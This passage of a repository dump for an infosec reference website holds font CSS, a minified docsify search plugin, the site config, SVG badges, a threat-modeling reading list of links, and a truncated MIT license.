 83 |   font-family: 'Source Sans Pro';
 84 |   font-style: normal;
 85 |   font-weight: 300;
 86 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwmBdu3cOWxy40.woff2) format('woff2');
 87 |   unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
 88 | }
 89 | /* latin-ext */
 90 | @font-face {
 91 |   font-family: 'Source Sans Pro';
 92 |   font-style: normal;
 93 |   font-weight: 300;
 94 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwmRdu3cOWxy40.woff2) format('woff2');
 95 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
 96 | }
 97 | /* latin */
 98 | @font-face {
 99 |   font-family: 'Source Sans Pro';
100 |   font-style: normal;
101 |   font-weight: 300;
102 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwlxdu3cOWxw.woff2) format('woff2');
103 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
104 | }
105 | /* cyrillic-ext */
106 | @font-face {
107 |   font-family: 'Source Sans Pro';
108 |   font-style: normal;
109 |   font-weight: 400;
110 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qNa7lujVj9_mf.woff2) format('woff2');
111 |   unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
112 | }
113 | /* cyrillic */
114 | @font-face {
115 |   font-family: 'Source Sans Pro';
116 |   font-style: normal;
117 |   font-weight: 400;
118 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qPK7lujVj9_mf.woff2) format('woff2');
119 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
120 | }
121 | /* greek-ext */
122 | @font-face {
123 |   font-family: 'Source Sans Pro';
124 |   font-style: normal;
125 |   font-weight: 400;
126 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qNK7lujVj9_mf.woff2) format('woff2');
127 |   unicode-range: U+1F00-1FFF;
128 | }
129 | /* greek */
130 | @font-face {
131 |   font-family: 'Source Sans Pro';
132 |   font-style: normal;
133 |   font-weight: 400;
134 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qO67lujVj9_mf.woff2) format('woff2');
135 |   unicode-range: U+0370-03FF;
136 | }
137 | /* vietnamese */
138 | @font-face {
139 |   font-family: 'Source Sans Pro';
140 |   font-style: normal;
141 |   font-weight: 400;
142 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qN67lujVj9_mf.woff2) format('woff2');
143 |   unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
144 | }
145 | /* latin-ext */
146 | @font-face {
147 |   font-family: 'Source Sans Pro';
148 |   font-style: normal;
149 |   font-weight: 400;
150 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qNq7lujVj9_mf.woff2) format('woff2');
151 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
152 | }
153 | /* latin */
154 | @font-face {
155 |   font-family: 'Source Sans Pro';
156 |   font-style: normal;
157 |   font-weight: 400;
158 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xK3dSBYKcSV-LCoeQqfX1RYOo3qOK7lujVj9w.woff2) format('woff2');
159 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
160 | }
161 | /* cyrillic-ext */
162 | @font-face {
163 |   font-family: 'Source Sans Pro';
164 |   font-style: normal;
165 |   font-weight: 600;
166 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwmhdu3cOWxy40.woff2) format('woff2');
167 |   unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
168 | }
169 | /* cyrillic */
170 | @font-face {
171 |   font-family: 'Source Sans Pro';
172 |   font-style: normal;
173 |   font-weight: 600;
174 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwkxdu3cOWxy40.woff2) format('woff2');
175 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
176 | }
177 | /* greek-ext */
178 | @font-face {
179 |   font-family: 'Source Sans Pro';
180 |   font-style: normal;
181 |   font-weight: 600;
182 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwmxdu3cOWxy40.woff2) format('woff2');
183 |   unicode-range: U+1F00-1FFF;
184 | }
185 | /* greek */
186 | @font-face {
187 |   font-family: 'Source Sans Pro';
188 |   font-style: normal;
189 |   font-weight: 600;
190 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwlBdu3cOWxy40.woff2) format('woff2');
191 |   unicode-range: U+0370-03FF;
192 | }
193 | /* vietnamese */
194 | @font-face {
195 |   font-family: 'Source Sans Pro';
196 |   font-style: normal;
197 |   font-weight: 600;
198 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwmBdu3cOWxy40.woff2) format('woff2');
199 |   unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
200 | }
201 | /* latin-ext */
202 | @font-face {
203 |   font-family: 'Source Sans Pro';
204 |   font-style: normal;
205 |   font-weight: 600;
206 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwmRdu3cOWxy40.woff2) format('woff2');
207 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
208 | }
209 | /* latin */
210 | @font-face {
211 |   font-family: 'Source Sans Pro';
212 |   font-style: normal;
213 |   font-weight: 600;
214 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rwlxdu3cOWxw.woff2) format('woff2');
215 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
216 | }
217 | 


--------------------------------------------------------------------------------
/Draft/css/search.min.js:
--------------------------------------------------------------------------------
1 | !function(){var u={},m={EXPIRE_KEY:"docsify.search.expires",INDEX_KEY:"docsify.search.index"};function h(e){return e.text||"table"!==e.type||(e.cells.unshift(e.header),e.text=e.cells.map(function(e){return e.join(" | ")}).join(" |\n ")),e.text}function f(e){return e.text||"list"!==e.type||(e.text=e.raw),e.text}function g(r,e,o,s){void 0===e&&(e="");var c,e=window.marked.lexer(e),d=window.Docsify.slugify,l={},p="";return e.forEach(function(e,n){if("heading"===e.type&&e.depth<=s){var t=function(e){void 0===e&&(e="");var a={};return{str:e=e&&e.replace(/^'/,"").replace(/'$/,"").replace(/(?:^|\s):([\w-]+:?)=?([\w-%]+)?/g,function(e,n,t){return-1===n.indexOf(":")?(a[n]=t&&t.replace(/&quot;/g,"")||!0,""):e}).trim(),config:a}}(e.text),a=t.str,t=t.config;c=t.id?o.toURL(r,{id:d(t.id)}):o.toURL(r,{id:d((t=e.text,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"},String(t).replace(/[&<>"']/g,function(e){return i[e]})))}),a&&(p=a.replace(/<!-- {docsify-ignore} -->/,"").replace(/{docsify-ignore}/,"").replace(/<!-- {docsify-ignore-all} -->/,"").replace(/{docsify-ignore-all}/,"").trim()),l[c]={slug:c,title:p,body:""}}else{if(0===n&&(c=o.toURL(r),l[c]={slug:c,title:"/"!==r?r.slice(1):"Home Page",body:e.text||""}),!c)return;l[c]?l[c].body?(e.text=h(e),e.text=f(e),l[c].body+="\n"+(e.text||"")):(e.text=h(e),e.text=f(e),l[c].body=l[c].body?l[c].body+e.text:e.text):l[c]={slug:c,title:"",body:""}}var i}),d.clear(),l}function p(e){return e&&e.normalize?e.normalize("NFD").replace(/[\u0300-\u036f]/g,""):e}function r(i,r){var t,a,n,e,o="auto"===i.paths,s=o?(t=r.router,a=[],Docsify.dom.findAll(".sidebar-nav a:not(.section-link):not([data-nosearch])").forEach(function(e){var n=e.href,e=e.getAttribute("href"),n=t.parse(n).path;n&&-1===a.indexOf(n)&&!Docsify.util.isAbsolutePath(e)&&a.push(n)}),a):i.paths,c="";s.length&&o&&i.pathNamespaces?(n=s[0],Array.isArray(i.pathNamespaces)?c=i.pathNamespaces.filter(function(e){return n.slice(0,e.length)===e})[0]||c:i.pathNamespaces instanceof RegExp&&((d=n.match(i.pathNamespaces))&&(c=d[0])),e=-1===s.indexOf(c+"/"),d=-1===s.indexOf(c+"/README"),e&&d&&s.unshift(c+"/")):-1===s.indexOf("/")&&-1===s.indexOf("/README")&&s.unshift("/");var d,l=((d=i.namespace)?m.EXPIRE_KEY+"/"+d:m.EXPIRE_KEY)+c,p=((d=i.namespace)?m.INDEX_KEY+"/"+d:m.INDEX_KEY)+c,c=localStorage.getItem(l)<Date.now();if(u=JSON.parse(localStorage.getItem(p)),c)u={};else if(!o)return;var h=s.length,f=0;s.forEach(function(a){return u[a]?f++:void Docsify.get(r.router.getFile(a),!1,r.config.requestHeaders).then(function(e){var n,t;u[a]=g(a,e,r.router,i.depth),h===++f&&(n=i.maxAge,t=l,e=p,localStorage.setItem(t,Date.now()+n),localStorage.setItem(e,JSON.stringify(u)))})})}var o,s="";function c(e){var n=Docsify.dom.find("div.search"),t=Docsify.dom.find(n,".results-panel"),a=Docsify.dom.find(n,".clear-button"),i=Docsify.dom.find(".sidebar-nav"),n=Docsify.dom.find(".app-name");if(!e)return t.classList.remove("show"),a.classList.remove("show"),t.innerHTML="",void(o.hideOtherSidebarContent&&(i.classList.remove("hide"),n.classList.remove("hide")));var e=function(e){var n=[],t=[];Object.keys(u).forEach(function(n){t=t.concat(Object.keys(u[n]).map(function(e){return u[n][e]}))});var a=(e=e.trim()).split(/[\s\-，\\/]+/);1!==a.length&&(a=[].concat(e,a));for(var i=0;i<t.length;i++)!function(e){var e=t[e],r=0,o="",s="",c="",d=e.title&&e.title.trim(),l=e.body&&e.body.trim(),e=e.slug||"";d&&(a.forEach(function(e){var n,t=new RegExp(p(e).replace(/[|\\{}()[\]^$+*?.]/g,"\\$&"),"gi"),a=-1,i=-1;s=d?p(d):d,c=l?p(l):l,a=d?s.search(t):-1,i=l?c.search(t):-1,(0<=a||0<=i)&&(r+=0<=a?3:0<=i?2:0,i<0&&(i=0),a=(a=n=0)==(n=i<11?0:i-10)?70:i+e.length+60,l&&a>l.length&&(a=l.length),t="..."+c.substring(n,a).replace(t,function(e){return'<em class="search-keyword">'+e+"</em>"})+"...",o+=t)}),0<r&&(e={title:s,content:l?o:"",url:e,score:r},n.push(e)))}(i);return n.sort(function(e,n){return n.score-e.score})}(e),r="";e.forEach(function(e){r+='<div class="matching-post">\n<a href="'+e.url+'">\n<h2>'+e.title+"</h2>\n<p>"+e.content+"</p>\n</a>\n</div>"}),t.classList.add("show"),a.classList.add("show"),t.innerHTML=r||'<p class="empty">'+s+"</p>",o.hideOtherSidebarContent&&(i.classList.add("hide"),n.classList.add("hide"))}function d(e){o=e}function l(e,n){var t,a,i=n.router.parse().query.s;d(e),Docsify.dom.style("\n.sidebar {\n  padding-top: 0;\n}\n\n.search {\n  margin-bottom: 20px;\n  padding: 6px;\n  border-bottom: 1px solid #eee;\n}\n\n.search .input-wrap {\n  display: flex;\n  align-items: center;\n}\n\n.search .results-panel {\n  display: none;\n}\n\n.search .results-panel.show {\n  display: block;\n}\n\n.search input {\n  outline: none;\n  border: none;\n  width: 100%;\n  padding: 0 7px;\n  line-height: 36px;\n  font-size: 14px;\n  border: 1px solid transparent;\n}\n\n.search input:focus {\n  box-shadow: 0 0 5px var(--theme-color, #42b983);\n  border: 1px solid var(--theme-color, #42b983);\n}\n\n.search input::-webkit-search-decoration,\n.search input::-webkit-search-cancel-button,\n.search input {\n  -webkit-appearance: none;\n  -moz-appearance: none;\n  appearance: none;\n}\n.search .clear-button {\n  cursor: pointer;\n  width: 36px;\n  text-align: right;\n  display: none;\n}\n\n.search .clear-button.show {\n  display: block;\n}\n\n.search .clear-button svg {\n  transform: scale(.5);\n}\n\n.search h2 {\n  font-size: 17px;\n  margin: 10px 0;\n}\n\n.search a {\n  text-decoration: none;\n  color: inherit;\n}\n\n.search .matching-post {\n  border-bottom: 1px solid #eee;\n}\n\n.search .matching-post:last-child {\n  border-bottom: 0;\n}\n\n.search p {\n  font-size: 14px;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  display: -webkit-box;\n  -webkit-line-clamp: 2;\n  -webkit-box-orient: vertical;\n}\n\n.search p.empty {\n  text-align: center;\n}\n\n.app-name.hide, .sidebar-nav.hide {\n  display: none;\n}"),function(e){void 0===e&&(e="");var n='<div class="input-wrap">\n      <input type="search" value="'+e+'" aria-label="Search text" />\n      <div class="clear-button">\n        <svg width="26" height="24">\n          <circle cx="12" cy="12" r="11" fill="#ccc" />\n          <path stroke="white" stroke-width="2" d="M8.25,8.25,15.75,15.75" />\n          <path stroke="white" stroke-width="2"d="M8.25,15.75,15.75,8.25" />\n        </svg>\n      </div>\n    </div>\n    <div class="results-panel"></div>\n    </div>',e=Docsify.dom.create("div",n),n=Docsify.dom.find("aside");Docsify.dom.toggleClass(e,"search"),Docsify.dom.before(n,e)}(i),n=Docsify.dom.find("div.search"),a=Docsify.dom.find(n,"input"),e=Docsify.dom.find(n,".input-wrap"),Docsify.dom.on(n,"click",function(e){return-1===["A","H2","P","EM"].indexOf(e.target.tagName)&&e.stopPropagation()}),Docsify.dom.on(a,"input",function(n){clearTimeout(t),t=setTimeout(function(e){return c(n.target.value.trim())},100)}),Docsify.dom.on(e,"click",function(e){"INPUT"!==e.target.tagName&&(a.value="",c())}),i&&setTimeout(function(e){return c(i)},500)}function y(e,n){var t,a,i,r,o;d(e),t=e.placeholder,a=n.route.path,(r=Docsify.dom.getNode('.search input[type="search"]'))&&("string"==typeof t?r.placeholder=t:(i=Object.keys(t).filter(function(e){return-1<a.indexOf(e)})[0],r.placeholder=t[i])),e=e.noData,o=n.route.path,s="string"==typeof e?e:e[Object.keys(e).filter(function(e){return-1<o.indexOf(e)})[0]]}var v={placeholder:"Type to search",noData:"No Results!",paths:"auto",depth:2,maxAge:864e5,hideOtherSidebarContent:!1,namespace:void 0,pathNamespaces:void 0};$docsify.plugins=[].concat(function(e,n){var t=Docsify.util,a=n.config.search||v;Array.isArray(a)?v.paths=a:"object"==typeof a&&(v.paths=Array.isArray(a.paths)?a.paths:"auto",v.maxAge=(t.isPrimitive(a.maxAge)?a:v).maxAge,v.placeholder=a.placeholder||v.placeholder,v.noData=a.noData||v.noData,v.depth=a.depth||v.depth,v.hideOtherSidebarContent=a.hideOtherSidebarContent||v.hideOtherSidebarContent,v.namespace=a.namespace||v.namespace,v.pathNamespaces=a.pathNamespaces||v.pathNamespaces);var i="auto"===v.paths;e.mounted(function(e){l(v,n),i||r(v,n)}),e.doneEach(function(e){y(v,n),i&&r(v,n)})},$docsify.plugins)}();
2 | 


--------------------------------------------------------------------------------
/Draft/help.md:
--------------------------------------------------------------------------------
 1 | Help/Reference
 2 | 
 3 | 
 4 | Basic Idea:
 5 | 
 6 | What is % ?
 7 | 
 8 | Where can I learn more about % ?
 9 | 
10 | References for % ?
11 | 
12 | Examples of % ?
13 | 
14 | Tutorials involving % 
15 | 
16 | Writeups on %  
17 | 
18 | Emoji Reference: [Emoji cheat sheet](https://www.webpagefx.com/tools/emoji-cheat-sheet/)
19 | 
20 | * **General**
21 | * **101**
22 | * **Articles/Papers/Talks/Writeups**
23 | * **General**
24 | * **Tools**
25 | * **Miscellaneous**


--------------------------------------------------------------------------------
/Draft/images/10k-xkcd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/images/10k-xkcd.png


--------------------------------------------------------------------------------
/Draft/images/LICENSE MIT.svg:
--------------------------------------------------------------------------------
1 | <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="124.5" height="28" role="img" aria-label="LICENSE: MIT"><title>LICENSE: MIT</title><g shape-rendering="crispEdges"><rect width="75.75" height="28" fill="#555"/><rect x="75.75" width="48.75" height="28" fill="black"/></g><g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="100"><text transform="scale(.1)" x="378.75" y="175" textLength="517.5" fill="#fff">LICENSE</text><text transform="scale(.1)" x="1001.25" y="175" textLength="247.5" fill="#fff" font-weight="bold">MIT</text></g></svg>


--------------------------------------------------------------------------------
/Draft/images/MARKDOWN.svg:
--------------------------------------------------------------------------------
1 | <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="123" height="28" role="img" aria-label="MARKDOWN"><title>MARKDOWN</title><g shape-rendering="crispEdges"><rect width="123" height="28" fill="#000000"/></g><g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="100"><image x="9" y="7" width="14" height="14" xlink:href="data:image/svg+xml;base64,PHN2ZyBmaWxsPSJ3aGl0ZSIgcm9sZT0iaW1nIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPk1hcmtkb3duPC90aXRsZT48cGF0aCBkPSJNMjIuMjcgMTkuMzg1SDEuNzNBMS43MyAxLjczIDAgMDEwIDE3LjY1NVY2LjM0NWExLjczIDEuNzMgMCAwMTEuNzMtMS43M2gyMC41NEExLjczIDEuNzMgMCAwMTI0IDYuMzQ1djExLjMwOGExLjczIDEuNzMgMCAwMS0xLjczIDEuNzMxek01Ljc2OSAxNS45MjN2LTQuNWwyLjMwOCAyLjg4NSAyLjMwNy0yLjg4NXY0LjVoMi4zMDhWOC4wNzhoLTIuMzA4bC0yLjMwNyAyLjg4NS0yLjMwOC0yLjg4NUgzLjQ2djcuODQ3ek0yMS4yMzIgMTJoLTIuMzA5VjguMDc3aC0yLjMwN1YxMmgtMi4zMDhsMy40NjEgNC4wMzl6Ii8+PC9zdmc+"/><text transform="scale(.1)" x="715" y="175" textLength="790" fill="#fff" font-weight="bold">MARKDOWN</text></g></svg>


--------------------------------------------------------------------------------
/Draft/images/mspaint.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/images/mspaint.png


--------------------------------------------------------------------------------
/Draft/index.html:
--------------------------------------------------------------------------------
  1 | <!-- index.html -->
  2 | 
  3 | <!DOCTYPE html>
  4 | <html lang="en">
  5 | <head>
  6 |   <meta charset="UTF-8">
  7 |   <title>Infosec_Reference | An Information Security Reference That Doesn't Suck!</title>
  8 |   <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  9 |   <meta name="description" content="Free resource for anyone interested in learning more about Information Security.">
 10 |   <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
 11 |   <meta name="author" content="Robert Musser">
 12 | 
 13 |   <link rel="stylesheet" href="./css/style.css" />
 14 |   <link rel="icon" href="./img/favicon.png" type="image/png" />
 15 | </head>
 16 | <body>
 17 | 
 18 | <!--
 19 |   <div id="app"></div>
 20 |   <script>
 21 |     window.$docsify = {
 22 |       //...
 23 |     }
 24 |   </script>
 25 | -->
 26 | 
 27 | 
 28 | <!-- Below adds Link to github repo in upper right hand corner -->
 29 |   <div id="app">Loading...</div>
 30 |   <script>
 31 |     window.$docsify = {
 32 |      name: 'Infosec_Reference',
 33 |      repo: 'rmusser01/Infosec_Reference',
 34 |      homepage:
 35 |     'README.md',
 36 |      maxLevel: 3,
 37 |      subMaxLevel: 2,
 38 |      coverpage: false,
 39 |      loadSidebar: true,
 40 |     }
 41 |   </script>
 42 | <!-- Above adds Link to github repo in upper right hand corner -->
 43 | 
 44 | 
 45 | 
 46 | <!-- Below adds search functionality to page -->
 47 | <script>
 48 |   window.$docsify = {
 49 |     search: 'auto', // default
 50 | 
 51 |     search : [
 52 |       '/',            // => /README.md
 53 |     ],
 54 | 
 55 |     // complete configuration parameters
 56 |     search: {
 57 |       maxAge: 86400000, // Expiration time, the default one day
 58 |       paths: auto, // or 'auto'
 59 |       placeholder: 'Type to search',
 60 | 
 61 |       // Localization
 62 |       placeholder: {
 63 |         '/': 'Type to search'
 64 |       },
 65 | 
 66 |       noData: 'No Results!',
 67 | 
 68 |       // Localization
 69 |       noData: {
 70 |         '/': 'No Results'
 71 |       },
 72 | 
 73 |       // Headline depth, 1 - 6
 74 |       depth: 2,
 75 | 
 76 |       hideOtherSidebarContent: true, // whether or not to hide other sidebar content
 77 | 
 78 |       // To avoid search index collision
 79 |       // between multiple websites under the same domain
 80 |       namespace: 'Infosec_Reference',
 81 | 
 82 |       // Use different indexes for path prefixes (namespaces).
 83 |       // NOTE: Only works in 'auto' mode.
 84 |       //
 85 |       // When initialiazing an index, we look for the first path from the sidebar.
 86 |       // If it matches the prefix from the list, we switch to the corresponding index.
 87 |       pathNamespaces: ['/zh-cn', '/ru-ru', '/ru-ru/v1'],
 88 | 
 89 |       // You can provide a regexp to match prefixes. In this case,
 90 |       // the matching substring will be used to identify the index
 91 |       pathNamespaces: /^(\/(zh-cn|ru-ru))?(\/(v1|v2))?/
 92 |     }
 93 |   }
 94 | </script>
 95 | <!-- Above does: -->
 96 | 
 97 | 
 98 |   <script src="./css/docsify4.js"></script>
 99 |   <script src="./css/emoji.min.js"></script>
100 |   <script src="./css/search.min.js"></script>
101 | 
102 | 
103 | 
104 | </body>
105 | </html>
106 | 


--------------------------------------------------------------------------------
/Draft/index.md:
--------------------------------------------------------------------------------
1 | {
2 |         "title": "InfoSec Reference",
3 |         "tagline": "An Infosec reference that doesn't suck.",
4 |         "image": "mspaint.png"
5 | }
6 | 


--------------------------------------------------------------------------------
/Draft/threatmodel.md:
--------------------------------------------------------------------------------
 1 | # Threat Modeling & Risk Assessment
 2 | 
 3 | ## Table of Contents
 4 | - []()
 5 | - []()
 6 | - []()
 7 | - []()
 8 | 
 9 | Threat Modeling
10 | * Threat Modeling Book
11 | * OWASP App Threat Modeling
12 | * Evil User Stories
13 | * OWASP ASVS
14 | * Mozilla Rapid Risk Assessment
15 | 
16 | * https://www.turnkeyconsulting.com/information-security-risk-assessment
17 | 	* https://www.isaca.org/Journal/archives/2010/Volume-1/Pages/Performing-a-Security-Risk-Assessment1.aspx
18 | * [Application Threat Modeling using DREAD and STRIDE - Haider Mahmood](https://haiderm.com/application-threat-modeling-using-dread-and-stride/)
19 | * [Dark Matter and Measuring Security - Crispin Cowan](https://www.leviathansecurity.com/blog/dark-matter-and-measuring-security)
20 | https://web.archive.org/web/20141118061526/http://www.riskmanagementinsight.com/media/docs/FAIR_introduction.pdf
21 | * [ThreatPlaybook](https://github.com/we45/ThreatPlaybook)
22 | 	* A unified DevSecOps Framework that allows you to go from iterative, collaborative Threat Modeling to Application Security Test Orchestration
23 | 	* [Homepage](https://we45.gitbook.io/threatplaybook/)
24 | * [Threat Modeling: 12 Available Methods - Nataliya Shevchenko](https://insights.sei.cmu.edu/sei_blog/2018/12/threat-modeling-12-available-methods.html)
25 | * [Draw.io for threat modeling - Michael Henriksen](https://michenriksen.com/blog/drawio-for-threat-modeling/)
26 | https://insights.sei.cmu.edu/sei_blog/2018/12/threat-modeling-12-available-methods.html
27 | * [The Security Principles of Saltzer and Schroeder - Adam Shostack & Friends](https://adam.shostack.org/blog/the-security-principles-of-saltzer-and-schroeder/)
28 | * [Towards Improving CVSS - J.M. Spring, E. Hatleback, A. Householder, A. Manion, D. Shick - CMU](https://resources.sei.cmu.edu/asset_files/WhitePaper/2018_019_001_538372.pdf)
29 | 
30 | http://plantuml.com/
31 | 
32 | 
33 | 
34 | ----------------------------------
35 | ### Threat Modeling
36 | * **Articles/Papers/Writeups**
37 | 	* [Statement for the Record  Worldwide Threat Assessment  of the  US Intelligence Community  Senate Select Committee on Intelligence](https://www.dni.gov/files/documents/Newsroom/Testimonies/SSCI%20Unclassified%20SFR%20-%20Final.pdf)
38 | 	* [Why your threat model is probably wrong - Cyberwar](http://blog.thinkst.com/p/cyberwar-why-your-threat-model-is.html)
39 | 	* [7 Steps to Threat Modeling](https://www.slideshare.net/chinwhei/7-steps-to-threat-modeling)
40 | * **Talks & Presentations**
41 | 	* [The Triple A Threat: Aggressive Autonomous Agents - the grugq](http://grugq.github.io/presentations/comae-blackhat-year-of-the-worm.pdf)
42 | 	* [A Hacker's Guide to Risk](https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Bruce-Potter-Hackers-Guide-to-Risk.pdf)
43 | 	* [Global Adversarial Capability Modeling](https://www.youtube.com/watch?v=56T3JN09SrY#t=41)
44 | 	* [Adam Shostack - Pentesting: Lessons from Star Wars](https://www.youtube.com/watch?v=BfWWryF8M7E&list=PLuUtcRxSUZUpv2An-RNhjuZSJ5fjY7ghe&index=13)
45 | 		* Everyone knows you ought to threat model, but in practical reality it turns out to be tricky. If past efforts to threat model haven’t panned out, perhaps part of the problem is confusion over what works, and how the various approaches conflict or align. This talk captures lessons from years of work helping people throughout the software industry threat model more effectively. It’s designed to help security pros, especially pen testers, all of whom will leave with both threat modeling lessons from Star Wars and a proven foundation, enabling them to threat model effectively on offense or defense.
46 | 	* [Threat Modeling - Jim DelGrosso](https://www.somersetrecon.com/blog/2018/7/27/infecting-the-embedded-supply-chain)
47 | 	* [Threat Modeling 101 - Dan Tentler](https://www.youtube.com/watch?v=wu8SDWao_Ns)
48 | * **Threat Modeling Methodologies**
49 | 	* **OCTAVE**
50 | 	* **PASTA**
51 | 	* **STRIDE**
52 | 		* [STRIDE (security) - Wikipedia](https://en.wikipedia.org/wiki/STRIDE_(security))
53 | 			* STRIDE is a model of threats developed by Praerit Garg and Loren Kohnfelder at Microsoft for identifying computer security threats. It provides a mnemonic for security threats in six categories.
54 | 		* [Guerrilla Threat Modelling (or 'Threat Modeling' if you're American)](http://blogs.msdn.com/b/ptorr/archive/2005/02/22/guerillathreatmodelling.aspx)
55 | 	* **TRIKE**
56 | 	* **VAST**
57 | * **Tools**
58 | 	* [seasponge - Mozilla Project](https://github.com/mozilla/seasponge)
59 | 		* Accessible and client-side threat modeling tool
60 | 		* [GIFs demonstrating usage](https://github.com/mozilla/seasponge/wiki/usage)[On Comparing Threat Intelligence Feeds](http://blogs.gartner.com/anton-chuvakin/2014/01/07/on-comparing-threat-intelligence-feeds/)
61 | 	* [ThreadFix](https://github.com/denimgroup/threadfix)
62 | 		* ThreadFix is a software vulnerability aggregation and management system that helps organizations aggregate vulnerability data, generate virtual patches, and interact with software defect tracking systems.
63 | 	* [ThreadFix](https://github.com/denimgroup/threadfix)
64 | 		* ThreadFix is a software vulnerability aggregation and management system that helps organizations aggregate vulnerability data, generate virtual patches, and interact with software defect tracking systems.
65 | 
66 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2017 Robert Musser
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
